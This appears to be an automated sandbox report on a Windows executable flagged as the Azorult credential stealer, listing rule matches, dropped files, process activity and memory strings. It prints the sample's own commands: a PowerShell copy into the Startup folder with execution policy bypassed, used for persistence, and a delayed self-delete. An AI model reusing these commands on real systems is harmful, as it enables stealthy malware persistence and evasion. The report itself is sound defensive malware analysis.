Source: 9.2.pdfviewer.exe.4e20000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.pdfviewer.exe.28632b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.962Zrwh5bU.exe.28653dc.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 4.2.962Zrwh5bU.exe.3f15f8a.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 9.2.pdfviewer.exe.2865af0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 0.2.962Zrwh5bU.exe.2862b9c.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects downloader injector Author: ditekSHen
Source: 4.2.962Zrwh5bU.exe.3e8884c.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 4.2.962Zrwh5bU.exe.3eaa839.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 00000000.00000002.3296630648.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.3301829133.0000000004E20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects downloader injector Author: ditekSHen
Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Azorult Payload Author: kevoreilly
Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 0_2_00D0D304	0_2_00D0D304
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 0_2_075E2100	0_2_075E2100
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 0_2_075EE820	0_2_075EE820
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 0_2_075E3008	0_2_075E3008
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Code function: 9_2_0261D304	9_2_0261D304
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Code function: 9_2_04B865B0	9_2_04B865B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Code function: 9_2_04B8B358	9_2_04B8B358
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Code function: 9_2_04B8C0BA	9_2_04B8C0BA
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Code function: 9_2_04B80006	9_2_04B80006
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Code function: 9_2_04B80040	9_2_04B80040

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: String function: 00404E64 appears 33 times
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: String function: 004062D8 appears 34 times
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: String function: 00403B98 appears 44 times
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: String function: 00404E3C appears 87 times
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: String function: 004034E4 appears 36 times

Source: api-ms-win-core-processthreads-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found

Source: 962Zrwh5bU.exe, 00000000.00000002.3277497487.00000000007DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000000.00000000.2029864632.000000000036C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamefirefox.exe0 vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000000.00000002.3282362718.00000000026B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAQipUvwTwkLZyiCs.dll: vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2167956240.0000000003D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe, 00000004.00000002.2173867963.00000000042C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 962Zrwh5bU.exe
Source: 962Zrwh5bU.exe	Binary or memory string: OriginalFilenamefirefox.exe0 vs 962Zrwh5bU.exe

Source: 962Zrwh5bU.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.962Zrwh5bU.exe.3703b70.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 9.2.pdfviewer.exe.4e20000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 9.2.pdfviewer.exe.4e20000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.pdfviewer.exe.28632b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.962Zrwh5bU.exe.28653dc.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 4.2.962Zrwh5bU.exe.3f15f8a.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 9.2.pdfviewer.exe.2865af0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0.2.962Zrwh5bU.exe.2862b9c.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 4.2.962Zrwh5bU.exe.3e8884c.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 4.2.962Zrwh5bU.exe.3eaa839.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 00000000.00000002.3296630648.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.3301829133.0000000004E20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.spre.phis.troj.adwa.spyw.evad.winEXE@18/60@1/2

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_00416B94 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,GetCurrentProcessId,

4_2_00416B94

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_0040A4A4 CoCreateInstance,

4_2_0040A4A4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Mutant created: \Sessions\1\BaseNamedObjects\UFA7A44E6-9414907A-7566F0FB-36092EC1-1C529198
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5068:120:WilError_03
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-7566F0FB-36092EC1-1C529198
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6460:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ferz4oc0.xtt.ps1

Jump to behavior

Source: 962Zrwh5bU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 962Zrwh5bU.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 962Zrwh5bU.exe, 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 73454066296265048722815.tmp.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 962Zrwh5bU.exe	Virustotal: Detection: 58%
Source: 962Zrwh5bU.exe	ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Users\user\Desktop\962Zrwh5bU.exe "C:\Users\user\Desktop\962Zrwh5bU.exe"
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Users\user\Desktop\962Zrwh5bU.exe "C:\Users\user\Desktop\962Zrwh5bU.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "962Zrwh5bU.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe"
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Users\user\Desktop\962Zrwh5bU.exe "C:\Users\user\Desktop\962Zrwh5bU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "962Zrwh5bU.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior
